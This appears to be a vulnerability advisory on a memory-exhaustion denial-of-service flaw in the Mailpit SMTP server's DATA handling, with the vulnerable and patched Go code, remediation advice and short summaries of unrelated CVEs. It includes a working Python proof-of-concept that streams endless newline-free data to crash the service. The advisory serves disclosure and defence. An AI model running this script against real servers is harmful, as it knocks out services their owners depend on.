Aug 20, 2026·8 min read·50 visits
Unauthenticated remote attackers can crash the Mailpit SMTP server via memory exhaustion by sending an endless stream of characters without newline delimiters during the DATA command.
An uncontrolled resource allocation vulnerability (CWE-770) affects Mailpit SMTP server versions 1.30.0 through 1.30.4. The vulnerability is located within the DATA parsing logic, where an unauthenticated remote attacker can stream an endless sequence of bytes devoid of newline characters. Because line size limits are evaluated only after buffer completion, the Go runtime repeatedly allocates memory on the heap to store the single oversized line, causing resource exhaustion and an Out-Of-Memory termination of the service process.
Mailpit is an open-source email testing tool designed for developers. It features an embedded SMTP server to intercept, store, and display outgoing emails during application development. The internal SMTP processing engine relies on custom TCP parsing to handle incoming protocol commands, which exposes an unauthenticated attack surface to anyone capable of connecting to the SMTP port.
Under typical circumstances, the SMTP engine receives client requests, parses command verbs, and stores email payloads in an internal database. The processing of these payloads relies on parsing mechanisms within the internal SMTP daemon component. Specifically, the processing loop reads data streams dynamically during the message transmission stage initiated by the standard SMTP DATA command.
CVE-2026-67447 is an uncontrolled resource allocation vulnerability (CWE-770) that impacts Mailpit's SMTP handler. The vulnerability allows an unauthenticated remote attacker to exhaust host heap memory, which causes a Denial of Service (DoS). The root of the vulnerability lies in the use of unbounded buffer-reading functions that process incoming lines without immediate size throttling. The impact is restricted to availability but remains high for instances running in unified containerized or low-resource dev environments.
The vulnerability exists within the SMTP daemon session loop, specifically inside the readData function of the file internal/smtpd/smtpd.go. During the message ingestion cycle, standard SMTP clients transmit email data over a TCP stream. The application reads this data step-by-step to identify the terminating character sequence, which is a single period on its own line (\r\n.\r\n).
In affected versions, Mailpit reads incoming SMTP commands and message lines using the Go standard library function bufio.Reader.ReadBytes('\n'). This library function is designed to read from the underlying network socket continuously until it encounters the designated delimiter character. To accommodate the incoming network stream, the Go runtime automatically and dynamically expands the internal buffer slice located on the system heap.
Crucially, Mailpit's validation of the maximum allowed email size is deferred. The application checks the current cumulative message length only after the ReadBytes call successfully returns a complete line. Because the delimiter character determines when the function returns, an attacker can transmit an arbitrary, endless sequence of bytes that contains no newline delimiter. The server will dynamically expand its buffer on the heap indefinitely to store the continuous line.
Consequently, the application exhausts physical system memory prior to executing any size checks. The operating system's kernel or Go's memory manager intervenes and terminates the target Mailpit execution daemon. This architectural sequence of execution creates a straightforward path to an Out-Of-Memory (OOM) crash that can be exploited remotely by unauthenticated network clients.
Evaluating the vulnerable block in internal/smtpd/smtpd.go highlights the logical dependency on a successful line return before validating the size parameters. The vulnerable execution flow is represented below:
// Vulnerable Code Flow
line, err := s.br.ReadBytes('\n')
if err != nil {
return nil, err
}
// Message size validation occurs too late
if s.srv.MaxSize > 0 {
if len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}In the code snippet above, if the incoming TCP socket receives 100 megabytes of payload without a newline character, ReadBytes does not return. Instead, it continues to allocate memory, and the Go execution environment crashes prior to executing the size checks on line 7.
To remediate this, the vendor introduced an incremental parsing approach using bufio.Reader.ReadSlice('\n') inside a bounded loop within commit 8720c6bd8281fc00d458081908f1dbef8e59a98c. The patched implementation operates as follows:
// Patched Code Flow in internal/smtpd/smtpd.go
var line []byte
for {
fragment, err := s.br.ReadSlice('\n')
line = append(line, fragment...)
if err == nil {
break // Newline character was found; line reading is complete
}
if err != bufio.ErrBufferFull {
return nil, err
}
// The internal buffer filled up without finding a newline.
// Perform early size checking before allocating more heap memory.
if s.srv.MaxSize > 0 && len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}This modification prevents unbounded memory accumulation. By switching to ReadSlice, the server reads data in chunks matching the size of the reader's internal buffer (typically 4096 bytes). If a segment fills the internal buffer without a newline, ReadSlice returns bufio.ErrBufferFull. The server registers this fragment, checks the cumulative length against the maximum limit early, and rejects the message if it exceeds the boundary. This structure ensures that memory overhead per connection remains highly bounded.
Exploiting the vulnerability does not require specialized tooling or deep protocol manipulation. It is achievable using common system tools or automated networking scripts. The prerequisite for the attack is direct network access to the target SMTP port, which is 1025 by default.
An attacker initiates a standard TCP handshake with the Mailpit SMTP port and issues standard SMTP greetings. The script below illustrates a conceptual attack path by establishing a connection, initiating the DATA phase, and transmitting a payload consisting of a single, long line of characters.
import socket
import sys
target_ip = "127.0.0.1"
target_port = 1025
try:
# Establish the TCP connection to the target SMTP daemon
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Send SMTP greeting commands
s.sendall(b"EHLO attacker.local\r\n")
print(s.recv(1024).decode())
s.sendall(b"MAIL FROM:<attacker@example.test>\r\n")
print(s.recv(1024).decode())
s.sendall(b"RCPT TO:<test@mailpit.local>\r\n")
print(s.recv(1024).decode())
s.sendall(b"DATA\r\n")
print(s.recv(1024).decode())
# Stream endless data without newline characters
print("[+] Sending endless stream without newline...")
chunk = b"A" * 4096
while True:
s.sendall(chunk)
except KeyboardInterrupt:
print("[*] Finished transmission.")
except Exception as e:
print(f"[-] Connection closed: {e}")When executed against a vulnerable Mailpit instance, the target server buffers each segment of the chunk. Because no newline character is present, the dynamic heap allocation loop continues to grow. If multiple connections are executed concurrently, the system memory consumption rises exponentially, leading directly to a crash of the service process.
The following diagram maps the logical execution flow of an attack targeting the unbounded buffer mechanism within the vulnerable Mailpit SMTP server.
As shown in the flow representation, the size check logic is entirely bypassed during the infinite byte stream phase. The validation code is never reached because the condition to terminate the loop (the \n character) is never transmitted. This structural flaw allows memory utilization to escalate unchecked.
The primary impact of CVE-2026-67447 is complete denial of service. Since Mailpit is widely deployed as a localized testing tool, a service crash interrupts developer test workflows and local automation processes.
While categorized as low availability impact under CVSS metrics (as it is normally classified for standard microservices), the actual deployment context can result in broader operational disruption. If Mailpit runs inside a shared developer server or virtual machine without proper container level resource limits, the memory exhaustion can trigger the operating system's OOM killer to terminate critical adjacent processes.
This vulnerability does not allow remote code execution or unauthorized information access. The integrity and confidentiality of the processed email store are not directly compromised. However, because it can be executed remotely without authentication, any publicly exposed developer instance is vulnerable to immediate disruption.
Detecting vulnerable instances of Mailpit is achievable by polling the API or verifying the current binary build version. Security teams can query the HTTP endpoint /api/v1/info to retrieve the JSON response showing the active release version. If the reported version is between 1.30.0 and 1.30.4, the instance must be flagged as vulnerable.
To remediate the vulnerability, upgrade the installation of Mailpit to version 1.30.5 or newer. This version implements early segment limits that effectively drop oversized connections before heap exhaustion can manifest. If immediate upgrades are not feasible, network administrators must enforce the following mitigations:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
Mailpit axllent | >= 1.30.0, < 1.30.5 | 1.30.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-770 |
| Attack Vector | Network |
| CVSS v3.1 Score | 5.3 (Medium) |
| Exploit Maturity | None / Theoretical Proof-of-Concept |
| CISA KEV | Not Listed |
| Ransomware Use | No |
| Vulnerability Class | Uncontrolled Resource Allocation (CWE-770) |
The product allocates memory, CPU, or other resources based on untrusted input without enforcing a limit or throttling on the allocation size or frequency.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.
ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.
CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.